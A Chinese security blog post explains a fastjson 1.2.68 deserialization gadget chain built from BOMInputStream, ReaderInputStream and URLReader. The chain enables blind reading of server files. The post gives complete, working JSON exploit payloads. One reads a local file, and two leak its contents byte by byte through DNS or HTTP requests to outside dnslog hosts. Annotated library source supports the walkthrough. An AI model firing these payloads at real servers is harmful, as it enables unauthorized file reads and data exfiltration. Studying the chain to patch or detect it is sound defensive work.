最近在学fastjson,但是因为懒,简单了解一下48就转向68的学习,然后翻开尘封已久的收藏夹开始68的debug之路。突然,浅蓝师傅的一篇无回显读文件的文章吸引了我的注意。啪!很快啊!我就上手调起来。
先贴一下来自blackhat的初始poc:
1
|
{"abc": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///E:/tmp/tyskill.txt"},"charsetName": "utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes": [ASCII1,ASCII2,...]}]},"address": {"$ref": "$.abc.BOM"}}
|
debug过程无所谓,自己调一下就行,我列一下我觉得比较重要的点:
jdk.nashorn.api.scripting.URLReader
接受URL类型参数,因此支持http、jar、netdoc等协议
- boms参数通过数组展开符传入BOMInputStream构造方法,因此需要作为数组类型传参,其bytes参数同理
- boms数组只要有一个元素能够成功匹配就能返回ByteOrderMark对象,进而成功实例化BOMInputStream对象
- address过程的JSONpath引用是为了调用BOMInputStream对象的getBOM方法,该方法用于boms和ReaderInputStream数据流进行逐字节的比较,根据比较结果返回null或ByteOrderMark对象。除此之外,该方法还值得细嗦一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
public ByteOrderMark getBOM() throws IOException {
if (this.firstBytes == null) { // BOMInputStream对象初始化时firstBytes字段为null
this.fbLength = 0;
int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length(); // 获取传入boms数组的长度
this.firstBytes = new int[maxBomSize]; // 预先分配
for(int i = 0; i < this.firstBytes.length; ++i) {
this.firstBytes[i] = this.in.read(); // 开始逐字节读取数据流,但长度取决于boms数组
++this.fbLength;
if (this.firstBytes[i] < 0) { // EOF
break;
}
}
this.byteOrderMark = this.find(); // 内部调用matches方法逐字节比较boms和数据流
if (this.byteOrderMark != null && !this.include) { // include字段默认为false
if (this.byteOrderMark.length() < this.firstBytes.length) {
this.fbIndex = this.byteOrderMark.length();
} else {
this.fbLength = 0;
}
}
}
return this.byteOrderMark;
}
|
可以看到firstBytes字段是在boms参数有>0长度时才能进行流数据的读取,这里会引发一个问题,数据流是先通过jdk.nashorn.api.scripting.URLReader
类预存URL地址内容后调用read方法逐字节返回,还是先read后访问URL,带着这个疑问进入新一轮的debug,随便跳几下就可以在URLReader#getReader
发现new CharArrayReader(Source.readFully(this.url, this.cs));
代码,可以说明是read方法先被调用
这个问题可以证明什么呢?若我们将file协议修改为http协议,然后传入“空的boms数组”,不就可以实现指定条件下访问目标地址的功能么
注:空数组并不是实际意义上的[]
,具体含义后面分析
浅蓝师傅通过观察getBOM返回值添加了一段CharSequenceReader实例化的json字符串,该方法在boms比较不通过的情况下返回null,此时传入CharSequenceReader构造方法不会引发错误,而比较通过时ByteOrderMark对象显然不满足参数CharSequence类型要求,继而引发报错,中断解析流程。基于此可以实现指定条件下字符串解析的终止,也就诞生了文章中的poc。
但debug后会发现一些小问题:该poc其实只依赖于比较成功时的类型冲突,因此后面一段反而过于冗长,可以使用常见的探测poc替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///E:/tmp/tyskill.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
48,
]
}
]
},
"address" : {
"@type": "java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
},
"start": 0,
"end": 0
},
"xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}
|
该tag取名源于某比赛(doge
尝试过上面的poc可以发现在匹配不成功时发出dnslog请求太麻烦,虽然可以通过同步注入字符与访问域名的方式来方便结果观察,但我还是不爽(,所以需要一些新的构造来让dnslog请求只发生在比较成功的时候
通过第一部分的介绍可以发现boms传入“空数组”时不会发生访问行为,这样的特点加上http协议就可以构成基本的盲注场景。
如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///E:/tmp/tyskill.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [48,]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://aaaxd.bf1p.hyuga.icu/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"$ref":"$.abc.BOM[0]"}]
},
"xxx":{"$ref":"$.address.BOM[0]"}
}
|